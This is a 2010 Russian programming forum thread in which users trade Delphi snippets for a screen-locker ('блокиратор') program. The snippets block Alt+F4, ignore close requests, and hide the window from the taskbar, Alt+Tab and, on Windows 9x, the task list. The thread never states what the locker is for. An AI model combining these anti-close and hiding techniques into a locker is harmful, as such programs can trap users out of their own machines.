Вопрос по поводу блокиратора
|
|
gravitas | Дата: Пятница, 03.12.2010, 14:42 | Сообщение # 1 |
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
| 1. Нужен код для скрытия проги от alt+f4. 2. Как сделать так, что бы программа была видима на рабочем столе, но не была бы видна в панели задач? Помогшему лично вручу подарок и ++
TheDeduction Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
|
| |
dolphin | Дата: Пятница, 03.12.2010, 17:49 | Сообщение # 2 |
Администратор
Сообщений: 906
Статус: Offline
| Скрыть с панели - Доступно только для пользователей скрыть от alt+f4 думаю много есть способов, например - Доступно только для пользователей
Система: Windows 10 x64, Kali Linux Среды программирования: Delphi 7, Delphi 10.x
Я не профессионал, я всего лишь любитель Я не вредитель, я всего лишь теоретик
|
|
| |
cool1 | Дата: Пятница, 03.12.2010, 18:04 | Сообщение # 3 |
Участник
Зарегистрирован: 14.07.2010
Группа: Пользователи
Сообщений: 238
Статус: Offline
| вот из моего блокиратора Code procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin if (ssAlt in Shift) and (Key=vk_F4) then key:=0; //Запрещаем alt+f4 end; а вот еще... Code procedure TForm1.FormCreate(Sender: TObject);
var //Нас не видно в alt+tab и таск баре RegProcess: function (p1, p2:integer): integer; stdcall; hDllKernel: HInst;
begin if GetVersion >= $80000000 then begin hDllKernel := LoadLibrary('kernel32.dll'); RegProcess := GetProcAddress(hDllKernel, 'RegisterServiceProcess'); RegProcess(0, 1); end; ShowWindow(Application.Handle, SW_HIDE); SetWindowLong(Application.Handle, GWL_EXSTYLE, GetWindowLong(Application.Handle, GWL_EXSTYLE) or WS_EX_TOOLWINDOW); end;
За помощь ставьте +!
Сообщение отредактировал cool1 - Пятница, 03.12.2010, 18:07 |
|
| |
dolphin | Дата: Пятница, 03.12.2010, 19:03 | Сообщение # 4 |
Администратор
Сообщений: 906
Статус: Offline
| Quote (cool1) RegisterServiceProcess Это вобще к чему? Работает только в 9x
Система: Windows 10 x64, Kali Linux Среды программирования: Delphi 7, Delphi 10.x
Я не профессионал, я всего лишь любитель Я не вредитель, я всего лишь теоретик
|
|
| |
gravitas | Дата: Пятница, 03.12.2010, 21:20 | Сообщение # 5 |
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
| Quote (cool1) procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin if (ssAlt in Shift) and (Key=vk_F4) then key:=0; //Запрещаем alt+f4 end; Вот это норм работает. А вот про ваш код, dolphin, отдельный разговор) 1. Код скрытия с панели задач не работает (почему то). 2. Код блокировки вешает систему, перестает шевелиться курсор и все эти симптомы пропадают после открытия диспетчера задач. Потом диспетчер закрываю, и все снова норм работает (я про систему), а вот прога все равно после этого закрываеться alt+f4. Вобщем теперь осталось только найти код скрывания с панели задач.
TheDeduction Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
|
| |
dolphin | Дата: Пятница, 03.12.2010, 22:09 | Сообщение # 6 |
Администратор
Сообщений: 906
Статус: Offline
| Quote (gravitas) осталось только найти код скрывания с панели задач. ShowWindow(Application.Handle, sw_Hide);
Система: Windows 10 x64, Kali Linux Среды программирования: Delphi 7, Delphi 10.x
Я не профессионал, я всего лишь любитель Я не вредитель, я всего лишь теоретик
|
|
| |
gravitas | Дата: Суббота, 04.12.2010, 05:03 | Сообщение # 7 |
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
| Quote (dolphin) ShowWindow(Application.Handle, sw_Hide); Не работает
TheDeduction Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
|
| |
dolphin | Дата: Суббота, 04.12.2010, 10:33 | Сообщение # 8 |
Администратор
Сообщений: 906
Статус: Offline
| Странно, у меня на windows 7 работает. Скорее всего код необходимо вызывать когда форма уже отображена
Система: Windows 10 x64, Kali Linux Среды программирования: Delphi 7, Delphi 10.x
Я не профессионал, я всего лишь любитель Я не вредитель, я всего лишь теоретик
|
|
| |
gravitas | Дата: Суббота, 04.12.2010, 15:51 | Сообщение # 9 |
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
| Quote (dolphin) Скорее всего код необходимо вызывать когда форма уже отображена Точняк!!! Включил по таймеру и сразу все стало норм!!! З.Ы. Еще чуть чуть и мой IP увидела бы вся страна)) Аккуратней скрины делаем, Евгений...
TheDeduction Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
|
| |
cool1 | Дата: Суббота, 04.12.2010, 18:38 | Сообщение # 10 |
Участник
Зарегистрирован: 14.07.2010
Группа: Пользователи
Сообщений: 238
Статус: Offline
| у тя статистический?
За помощь ставьте +!
|
|
| |
gravitas | Дата: Суббота, 04.12.2010, 18:42 | Сообщение # 11 |
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
| Quote (cool1) у тя статистический? Динамичиский. Но все же не люблю, когда кто то знает обо мне больше,чем я того хочу (под это попадает даже название провайдера, которое зная IP можно получить через хуиз).
TheDeduction Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
|
| |
Kamikadze57 | Дата: Воскресенье, 09.01.2011, 23:44 | Сообщение # 12 |
Новичок
Зарегистрирован: 08.01.2011
Группа: Пользователи
Сообщений: 1
Статус: Offline
| procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); begin Action:= caNone; end; из моего блокера
|
|
| |